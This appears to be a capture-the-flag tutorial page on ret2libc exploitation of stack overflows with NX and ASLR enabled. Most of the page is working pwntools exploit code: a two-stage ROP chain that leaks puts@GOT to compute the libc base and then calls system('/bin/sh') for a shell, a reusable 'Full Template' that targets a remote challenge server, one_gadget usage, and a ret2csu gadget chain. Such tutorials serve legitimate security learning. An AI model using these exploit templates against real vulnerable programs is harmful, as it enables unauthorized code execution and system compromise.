ret2libc
Bypass NX by returning into libc's system() function to pop a shell.
ret2libc
You've got a stack overflow, NX is on, and there's no win() function. You can't inject shellcode, and there's nothing useful to jump to in the binary itself. What now?
ret2libc (return-to-libc) solves this by jumping into libc: the C standard library that's always loaded in every dynamically linked program. libc has system(), which runs shell commands. If you can call system("/bin/sh"), you get a shell.
The Problem: ASLR
libc is loaded at a random address every run (ASLR). You can't hardcode system()'s address. But if you can leak one known libc address at runtime, you can calculate the rest.
The strategy:
How the Leak Works
The GOT (Global Offset Table) stores the resolved addresses of libc functions. After puts() has been called once, puts@GOT contains the real address of puts in libc. If you can read that value, you can compute:
libc_base = leaked_puts_address - libc.sym['puts']Once you know libc_base, every libc function's address is known: system, "/bin/sh", exit, everything.
Stage 1: Leak via ROP
You use a ROP chain to call puts(puts@GOT), which prints the address of puts in libc. Then you return to main() so the program runs again for stage 2.
from pwn import *
context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
offset = 72
# Stage 1: leak puts address
payload = b'A' * offset
payload += p64(pop_rdi) # set RDI to...
payload += p64(elf.got['puts']) # ...the address of puts in the GOT
payload += p64(elf.plt['puts']) # call puts(), prints the address
payload += p64(elf.sym['main']) # return to main() for stage 2
p.sendline(payload)
p.recvline() # skip any output before the leak
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc base @ {hex(libc.address)}")What's happening:
pop_rdiloadself.got['puts']into RDI (the first argument)elf.plt['puts']callsputs(), which prints the 8 bytes atputs@GOT: that's the real libc addresself.sym['main']returns tomain(), giving you a second chance to send input
puts() stops at null bytes. The leaked address might have trailing garbage. Use .strip().ljust(8, b'\x00') to clean it up.
Stage 2: Call system("/bin/sh")
Now that libc.address is set, you can use any libc function at its real address. Build a second ROP chain:
ret = rop.find_gadget(['ret'])[0]
bin_sh = next(libc.search(b'/bin/sh'))
payload2 = b'A' * offset
payload2 += p64(ret) # stack alignment
payload2 += p64(pop_rdi) # set RDI to...
payload2 += p64(bin_sh) # ...address of "/bin/sh" in libc
payload2 += p64(libc.sym['system']) # call system("/bin/sh")
p.sendline(payload2)
p.interactive() # you have a shellFull Template
from pwn import *
context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')
if args.REMOTE:
p = remote('challenge.ctf.com', 9001)
else:
p = process('./vuln')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
offset = 72
# --- Stage 1: leak puts ---
payload = flat({offset: [pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['main']]})
p.sendline(payload)
p.recvuntil(b'!\n')
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc @ {hex(libc.address)}")
# --- Stage 2: shell ---
bin_sh = next(libc.search(b'/bin/sh'))
payload2 = flat({offset: [ret, pop_rdi, bin_sh, libc.sym['system']]})
p.sendline(payload2)
p.interactive()Always add a ret gadget before system() on x86-64. Without it, system() may crash on a movaps instruction due to stack misalignment.
One-Gadget Alternative
A one_gadget is a single address in libc that spawns a shell if certain register conditions are met. Instead of building a full ROP chain, you just jump to it:
gem install one_gadget
one_gadget ./libc.so.6
# Output:
# 0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
# constraints: rsp & 0xf == 0, rcx == NULL
# 0x4f432 execve("/bin/sh", rsp+0x40, environ)
# constraints: [rsp+0x40] == NULLEach result shows the address and the constraints that must be satisfied. Try each one. They often work even when constraints look wrong.
Finding the Right libc Version
The challenge might not give you libc.so.6. If you leak a few addresses, you can identify the version:
Visit https://libc.rip/ and paste your leaked addresses. You need at least 2 different symbols for accurate identification.
ret2csu: When You Need More Gadgets
Sometimes you need to control RSI or RDX (for read() or execve()), but the binary doesn't have pop rsi; ret or pop rdx; ret gadgets. The __libc_csu_init function contains universal gadgets that can set all three argument registers:
# These gadgets exist in most non-stripped ELFs (glibc < 2.34):
# csu_gadget1: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
# csu_gadget2: mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8]
csu1 = 0x4011c6 # find with: objdump -d vuln | grep -A20 __libc_csu_init
csu2 = 0x4011b0
chain = p64(csu1)
chain += p64(0) # rbx = 0
chain += p64(1) # rbp = 1 (so rbp == rbx+1 after call)
chain += p64(got_target) # r12 = address of function pointer to call
chain += p64(arg1) # r13 → edi (arg1)
chain += p64(arg2) # r14 → rsi (arg2)
chain += p64(arg3) # r15 → rdx (arg3)
chain += p64(csu2) # executeret2csu is useful when the binary is small and lacks argument-setting gadgets. For full details, see this reference.
Checklist
- NX enabled, no
win()→ ret2libc is the approach - Run
checksec: is PIE off? (easier to work with fixed addresses) - Stage 1: ROP chain to leak
puts@GOTviaputs(puts@GOT) - Compute
libc.addressfrom the leak - Stage 2: ROP chain to call
system("/bin/sh") - Add
retgadget beforesystem()if it crashes (alignment) - Try
one_gadgetif the full chain is awkward - Need
pop rsi/pop rdx? → try ret2csu - Don't know libc version? → leak 2+ symbols, use libc.rip
Last updated on